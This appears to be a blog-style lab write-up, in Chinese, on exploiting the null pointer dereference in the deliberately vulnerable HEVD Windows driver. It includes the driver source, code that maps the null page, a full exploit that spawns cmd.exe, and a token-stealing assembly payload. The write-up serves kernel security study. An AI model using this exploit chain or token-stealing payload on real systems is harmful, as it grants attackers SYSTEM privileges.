內核漏洞學習-HEVD-NullPointerDereference
概述
HEVD:漏洞靶場,包含各種Windows內核漏洞的驅動程序項目,在Github上就可以找到該項目,進行相關的學習。
Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub
環境準備:
Windows 7 X86 sp1 虛擬機
使用VirtualKD和windbg雙機調試
HEVD 3.0+KmdManager+DubugView
前置知識
指針的三種錯誤使用:
1、由指針指向的一塊動態內存,在利用完后,沒有釋放內存,導致內存泄露
2、野指針(懸浮指針)的使用,在指針指向的內存空間使用完釋放后,指針指向的內存空間已經歸還給了操作系統,此時的指針成為野指針,在沒有對野指針做處理的情況下,有可能對該指針再次利用導致指針引用錯誤而程序崩潰。
3、Null Pointer空指針的引用,對于空指針的錯誤引用往往是由于在引用之前沒有對空指針做判斷,就直接使用空指針,還有可能把空指針作為一個對象來使用,間接使用對象中的屬性或是方法,而引起程序崩潰,空指針的錯誤使用常見于系統、服務、軟件漏洞方面。
總結
free(p)后:p仍然指向那塊地址,但是地址被釋放,回歸給系統,指針仍然可以使用,可以利用池噴射,去多次申請內昆空間,撞這個指針p指向的地址,改寫這個地址內容,在調用p,執行自己寫入的代碼。
p=NULL 后:p 不指向任何內存地址,通常指向000 0頁地址,通過ntallocvirtualmemory 申請0頁地址空間。在0頁地址寫代碼。調用null指針,執行shellcode。
使用ntallocvirtualmemory 函數申請內存:NtAllocateVirtualMemory function (ntifs.h) - Windows drivers | Microsoft Docs
漏洞點分析
空指針漏洞
此類漏洞利用主要集中在兩種方式上:
1、利用NULL指針。
2、利用零頁內存分配可用內存空間
(1)分析漏洞點
UserValue = *(PULONG)UserBuffer;從用戶模式獲取value的值,如果uservalue=magicvalue的值,向緩沖區賦值,并打印信息,反之則釋放緩沖區,清空指針( NullPointerDereference = NULL;),之后,對于安全版本,對NullPointerDereference進行檢查判斷其是否被置空,非安全版本,未對NullPointerDereference進行檢查判斷,直接調用callback。
NTSTATUSTriggerNullPointerDereference( _In_ PVOID UserBuffer){ ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL; PAGED_CODE(); __try { // // Verify if the buffer resides in user mode // ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR)); // // Allocate Pool chunk // NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag( NonPagedPool, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)POOL_TAG ); if (!NullPointerDereference) { // // Unable to allocate Pool chunk // DbgPrint("[-] Unable to allocate Pool chunk"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X", sizeof(NULL_POINTER_DEREFERENCE)); DbgPrint("[+] Pool Chunk: 0x%p", NullPointerDereference); } // // Get the value from user mode // UserValue = *(PULONG)UserBuffer; DbgPrint("[+] UserValue: 0x%p", UserValue); DbgPrint("[+] NullPointerDereference: 0x%p", NullPointerDereference); // // Validate the magic value // if (UserValue == MagicValue) { NullPointerDereference->Value = UserValue; NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback; DbgPrint("[+] NullPointerDereference->Value: 0x%p", NullPointerDereference->Value); DbgPrint("[+] NullPointerDereference->Callback: 0x%p", NullPointerDereference->Callback); } else { DbgPrint("[+] Freeing NullPointerDereference Object"); DbgPrint("[+] Pool Tag: %s", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p", NullPointerDereference); // // Free the allocated Pool chunk // ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG); // // Set to NULL to avoid dangling pointer // NullPointerDereference = NULL; } #ifdef SECURE // // Secure Note: This is secure because the developer is checking if // 'NullPointerDereference' is not NULL before calling the callback function // if (NullPointerDereference) { NullPointerDereference->Callback(); }#else DbgPrint("[+] Triggering Null Pointer Dereference"); // // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability // because the developer is not validating if 'NullPointerDereference' is NULL // before calling the callback function // NullPointerDereference->Callback();#endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X", Status); } return Status;}
漏洞利用
HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制碼對應的派遣函數NullPointerDereferenceIoctlHandler case。
HEVD_IOCTL_NULL_POINTER_DEREFERENCE:DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******");Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******");break;
NullPointerDereferenceIoctlHandler函數調用TriggerNullPointerDereference觸發漏洞。
NTSTATUSNullPointerDereferenceIoctlHandler( _In_ PIRP Irp, _In_ PIO_STACK_LOCATION IrpSp){ PVOID UserBuffer = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; UNREFERENCED_PARAMETER(Irp); PAGED_CODE(); UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; if (UserBuffer) { Status = TriggerNullPointerDereference(UserBuffer); } return Status;}
(1)測試
#include#includeHANDLE hDevice = NULL; #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)int main(){ hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL ); if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) { printf("[-]failed to get device handle !"); return FALSE; } printf("[+]success to get device handle"); if (hDevice) { DWORD bReturn = 0; char buf[4] = { 0 }; *(PDWORD32)(buf) = 0x12345678; DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &bReturn, NULL); } }
當我們傳入值與MagicValue值不匹配時,則會觸發漏洞。

因為uservalue=0xBAD0B0B0,所以打印出信息。

(2)漏洞利用
官方給出的方法也是利用NtAllocateVirtualMemory函數,在0頁申請內存。
該函數在指定進程的虛擬空間中申請一塊內存,該塊內存默認將以64kb大小對齊,所以SIZE_T RegionSize = 0x1000;
BOOL MapNullPage() { HMODULE hNtdll; SIZE_T RegionSize = 0x1000; // will be rounded up to the next host // page size address boundary -> 0x2000PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host // page size address boundary -> 0x00000000NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hNtdll = GetModuleHandle("ntdll.dll"); // Grab the address of NtAllocateVirtualMemoryNtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X", GetLastError()); exit(EXIT_FAILURE);} // Allocate the Virtual memoryNtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, &BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (NtStatus != STATUS_SUCCESS) { DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x", NtStatus); exit(EXIT_FAILURE);}else { DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p", BaseAddress); DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X", RegionSize);} FreeLibrary(hNtdll); return TRUE;
申請成功后,將shellcode地址放入偏移四字節處,因為CallBack成員在結構體的0x4字節處,使傳入值與MagicValue值不匹配,觸發漏洞。
ULONG MagicValue = 0xBAADF00D; PVOID EopPayload = &TokenStealingPayloadWin7Generic;__try { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle"); DEBUG_INFO("\t\t[+] Device Name: %s", FileName); hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t[+] Device Handle: 0x%X", hFile); } DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage"); DEBUG_INFO("\t\t[+] Mapping Null Page"); if (!MapNullPage()) { DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X", GetLastError()); exit(EXIT_FAILURE); } DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout"); NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4); // Now set the function pointer *(PULONG)NullPointerPlus4 = (ULONG)EopPayload; DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p", *(PULONG)NullPointerPlus4); DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p", NullPointerPlus4); DEBUG_INFO("\t\t[+] EoP Payload: 0x%p", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference"); OutputDebugString("****************Kernel Mode****************"); DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, (LPVOID)&MagicValue, 0, NULL, 0, &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************"); } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X", GetLastError()); exit(EXIT_FAILURE); } return EXIT_SUCCESS;}
exp,可供參考
#include#include#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory1)( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect);NtAllocateVirtualMemory1 NtAllocateVirtualMemory = NULL; HANDLE hDevice = NULL; static VOID payload(){ _asm { //..... }} int main(){ //獲得device handle hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); printf("[+]Start to get handle "); if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) { printf("[+]Failed to get HANDLE!!!"); system("pause"); return 0; } printf("[+]Success to get handle"); DWORD aReturn = 0; char buf[4] = { 0 }; *(PDWORD32)(buf) = 0x123456789;//觸發漏洞 //申請0頁內存 (FARPROC*)NtAllocateVirtualMemory = GetProcAddress( GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory"); if (NtAllocateVirtualMemory == NULL) { printf("[-]Failed to get NtAllocateVirtualMemory address "); system("pause"); return 0; } else printf("[+]success to get NtAllocateVirtualMemory address "); PVOID basedaress = (PVOID)1; SIZE_T allockSize = 0x1000; NTSTATUS status= NtAllocateVirtualMemory( INVALID_HANDLE_VALUE, &basedaress, 0, &allockSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if(status<0) { printf("[-]NtAllocateVirtualMemory write failed"); system("pause"); return 0; } printf("[+]NtAllocateVirtualMemory write success "); *(DWORD*)(0x4) = (DWORD)&payload; //調用TriggerNullPointerDereference函數 DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &aReturn, NULL); //提權啟動cmd printf("[+]Start to Create cmd..."); STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); system("pause"); return 0;}
payload功能:遍歷進程,得到系統進程的token,把當前進程的token替換,達到提權目的。
相關內核結構體:在內核模式下,fs:[0]指向KPCR結構體。
_KPCR+0x120 PrcbData : _KPRCB_KPRCB+0x004 CurrentThread : Ptr32 _KTHREAD,_KTHREAD指針,這個指針指向_KTHREAD結構體_KTHREAD+0x040 ApcState : _KAPC_STATE_KAPC_STATE+0x010 Process : Ptr32 _KPROCESS,_KPROCESS指針,這個指針指向EPROCESS結構體_EPROCESS +0x0b4 UniqueProcessId : Ptr32 Void,當前進程ID,系統進程ID=0x04 +0x0b8 ActiveProcessLinks : _LIST_ENTRY,雙向鏈表,指向下一個進程的ActiveProcessLinks結構體處,通過這個鏈表我們可以遍歷所有進程,以尋找我們需要的進程 +0x0f8 Token : _EX_FAST_REF,描述了該進程的安全上下文,同時包含了進程賬戶相關的身份以及權限
payload:注意堆棧平衡問題。
__asm { pushad ; Save registers state ; Start of Token Stealing Stub xor eax, eax ; Set ZERO mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread ; _KTHREAD is located at FS:[0x124] mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process mov ecx, eax ; Copy current process _EPROCESS structure mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub popad ; Restore registers state }}
運行exp提權成功:
